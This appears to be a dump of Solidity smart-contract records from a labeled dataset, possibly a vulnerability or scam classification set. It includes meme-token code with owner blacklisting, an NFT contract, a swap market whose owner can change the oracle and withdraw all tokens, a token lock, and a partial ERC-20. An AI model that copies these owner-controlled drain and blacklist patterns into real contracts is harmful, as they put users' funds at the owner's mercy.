require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
// .5%
_maxTxAmount = 1000000000001 * 10**9;
_maxWalletAmount = 2000000000001 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface ERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface ERC721 is ERC165 {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface ERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface ERC721Metadata is ERC721 {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface ERC721Enumerable is ERC721 {
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
}
contract NFT is ERC721Metadata, ERC721Enumerable {
mapping (uint256 => address) private tokenOwnerFromTokenId;
uint256 public immutable override totalSupply;
mapping (address => uint256) public override balanceOf;
mapping (address => mapping (address => bool)) public override isApprovedForAll;
mapping (uint256 => address) public override getApproved;
string public override name;
string public override symbol;
string private IPFSbase;
address private immutable originOwner;
uint256 private mintCounter = 0;
constructor(uint256 _totalSupply, string memory _name, string memory _symbol, string memory _IPFSbase) {
totalSupply = _totalSupply;
name = _name;
symbol = _symbol;
IPFSbase = _IPFSbase; // "ipfs://bafybeih6a5b7kakekyfla4qtooq6u5vxtaoixxbezybl7hi5elc23xcx3u/"
originOwner = msg.sender;
balanceOf[msg.sender] = _totalSupply;
}
modifier validTokenId(uint256 _tokenId) {
require(_tokenId < totalSupply, "Token ID invalid.");
_;
}
function ownerOf(uint256 _tokenId) external view override validTokenId(_tokenId) returns (address) {
address owner = tokenOwnerFromTokenId[_tokenId];
return owner == address(0x0) ? originOwner : owner;
}
function transferFrom(address _from, address _to, uint256 _tokenId) external override {
_transferFrom(_from, _to, _tokenId);
}
function _transferFrom(address _from, address _to, uint256 _tokenId) internal validTokenId(_tokenId) {
require(_to != address(0x0), "Zero address recipient.");
address owner = tokenOwnerFromTokenId[_tokenId];
require(msg.sender == _from || isApprovedForAll[_from][msg.sender] || getApproved[_tokenId] == msg.sender || (_from == originOwner && owner == address(0x0)), "Transfer authorization failed.");
require(owner == _from, "Not owning token trying to transfer");
balanceOf[_from]--;
balanceOf[_to]++;
tokenOwnerFromTokenId[_tokenId] = _to;
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external override {
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) internal {
_transferFrom(_from, _to, _tokenId);
uint256 size;
assembly {
size := extcodesize(_to)
}
if (size == 0) {
return;
}
require(ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, data) == ERC721TokenReceiver.onERC721Received.selector, "safeTransferFrom invalid return");
}
function setApprovalForAll(address _operator, bool _approved) external override {
isApprovedForAll[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function approve(address _approvee, uint256 _tokenId) external override validTokenId(_tokenId) {
address owner = tokenOwnerFromTokenId[_tokenId];
require(owner == msg.sender || isApprovedForAll[owner][msg.sender] || getApproved[_tokenId] == msg.sender, "Approve authorization failed.");
getApproved[_tokenId] = _approvee;
emit Approval(owner, _approvee, _tokenId);
}
function tokenByIndex(uint256 _index) external view override validTokenId(_index) returns (uint256) {
return _index;
}
function mint(uint256 number) external {
uint256 _mintCounter = mintCounter;
uint256 mcAndNumber = _mintCounter + number;
uint256 target = mcAndNumber < totalSupply ? mcAndNumber : totalSupply;
while (_mintCounter < target) {
address owner = tokenOwnerFromTokenId[_mintCounter];
if (owner != address(0x0)) {
_mintCounter++;
continue;
}
emit Transfer(address(0x0), originOwner, _mintCounter);
_mintCounter++;
}
mintCounter = _mintCounter;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f || interfaceId == 0x780e9d63;
}
function tokenURI(uint256 _tokenId) external view override validTokenId(_tokenId) returns (string memory) {
// Base for the base 10 encoding https://stackoverflow.com/a/65707309
uint len;
if (_tokenId == 0) {
len = 1;
} else {
uint j = _tokenId;
while (j != 0) {
len++;
j /= 10;
}
}
bytes memory base = bytes(IPFSbase);
uint lbase = base.length;
len += lbase;
bytes memory bstr = new bytes(len+5);
while (lbase > 0) { // copy "ipfs://bafy.../" at the start
lbase--;
bstr[lbase] = base[lbase];
}
bstr[len] = "."; // copy ".json" at the end
bstr[len+1] = "j";
bstr[len+2] = "s";
bstr[len+3] = "o";
bstr[len+4] = "n";
if (_tokenId > 0) {
while (_tokenId != 0) { // base10 encode the id in the middle
len--;
bstr[len] = bytes1((48 + uint8(_tokenId - _tokenId / 10 * 10)));
_tokenId /= 10;
}
} else {
bstr[len-1] = "0";
}
return string(bstr);
}
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|
pragma solidity =0.6.6;
/**
* Math operations with safety checks
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Oracle {
function usdgToBc() external view returns (uint);
}
interface ERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external;
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external;
}
interface ERC20_Returns {
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
contract bcMarket is Ownable{
using SafeMath for uint;
ERC20 public bc;
ERC20 public usdg;
ERC20 public usdt;
ERC20_Returns public usdc;
ERC20_Returns public dai;
Oracle public oracle;
uint usdgDecimals = 9;
uint usdtDecimals = 6;
uint usdcDecimals = 6;
uint daiDecimals = 18;
event SaleToken(address indexed token, address indexed from,uint inValue, uint outValue);
event GovWithdrawToken(address indexed token, address indexed to, uint256 value);
constructor(address _oracle, address _usdg, address _usdt,address _usdc, address _dai,address _bc)public {
oracle = Oracle(_oracle);
usdg = ERC20(_usdg);
usdt = ERC20(_usdt);
usdc = ERC20_Returns(_usdc);
dai = ERC20_Returns(_dai);
bc = ERC20(_bc);
}
function getPrice() public view returns (uint){
return oracle.usdgToBc();
}
function swapUsdg(uint256 _value) public {
ERC20 token = usdg;
uint decimals = usdgDecimals;
require(_value > 0, "!value");
uint allowed = token.allowance(msg.sender,address(this));
uint balanced = token.balanceOf(msg.sender);
require(allowed >= _value, "!allowed");
require(balanced >= _value, "!balanced");
token.transferFrom( msg.sender,address(this), _value);
uint price = getPrice();
uint amount = _value.mul(price).mul(11).div(10).div(10 ** decimals);
bc.transfer( msg.sender, amount);
SaleToken(address(token),msg.sender,_value, amount);
}
function swapUsdt(uint256 _value) public {
ERC20 token = usdt;
uint decimals = usdtDecimals;
require(_value > 0, "!value");
uint allowed = token.allowance(msg.sender,address(this));
uint balanced = token.balanceOf(msg.sender);
require(allowed >= _value, "!allowed");
require(balanced >= _value, "!balanced");
token.transferFrom( msg.sender,address(this), _value);
uint price = getPrice();
uint amount = _value.mul(price).div(10 ** decimals);
bc.transfer( msg.sender, amount);
SaleToken(address(token),msg.sender,_value, amount);
}
function swapUsdc(uint256 _value) public {
ERC20_Returns token = usdc;
uint decimals = usdcDecimals;
require(_value > 0, "!value");
uint allowed = token.allowance(msg.sender,address(this));
uint balanced = token.balanceOf(msg.sender);
require(allowed >= _value, "!allowed");
require(balanced >= _value, "!balanced");
token.transferFrom( msg.sender,address(this), _value);
uint price = getPrice();
uint amount = _value.mul(price).div(10 ** decimals);
bc.transfer( msg.sender, amount);
SaleToken(address(token),msg.sender,_value, amount);
}
function swapDai(uint256 _value) public {
ERC20_Returns token = dai;
uint decimals = daiDecimals;
require(_value > 0, "!value");
uint allowed = token.allowance(msg.sender,address(this));
uint balanced = token.balanceOf(msg.sender);
require(allowed >= _value, "!allowed");
require(balanced >= _value, "!balanced");
token.transferFrom( msg.sender,address(this), _value);
uint price = getPrice();
uint amount = _value.mul(price).div(10 ** decimals);
bc.transfer( msg.sender, amount);
SaleToken(address(token),msg.sender,_value, amount);
}
function govWithdraUsdt(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
usdt.transfer( msg.sender, _amount);
emit GovWithdrawToken(address(usdt), msg.sender, _amount);
}
function govWithdraUsdg(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
usdg.transfer( msg.sender, _amount);
emit GovWithdrawToken(address(usdg), msg.sender, _amount);
}
function govWithdraUsdc(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
usdc.transfer( msg.sender, _amount);
emit GovWithdrawToken(address(usdc), msg.sender, _amount);
}
function govWithdraDai(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
dai.transfer( msg.sender, _amount);
emit GovWithdrawToken(address(dai), msg.sender, _amount);
}
function govWithdraBc(uint256 _amount)onlyOwner public {
require(_amount > 0, "!zero input");
bc.transfer( msg.sender, _amount);
emit GovWithdrawToken(address(bc), msg.sender, _amount);
}
function setOracle(address _oracle)onlyOwner public {
oracle = Oracle(_oracle);
}
} | True | [
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30585600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xaa32e7889511d563B2Ebcf1901F5fC97538c78c8;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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|
/**
// https://juelzinu.com
// https://t.me/JuelzInu
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
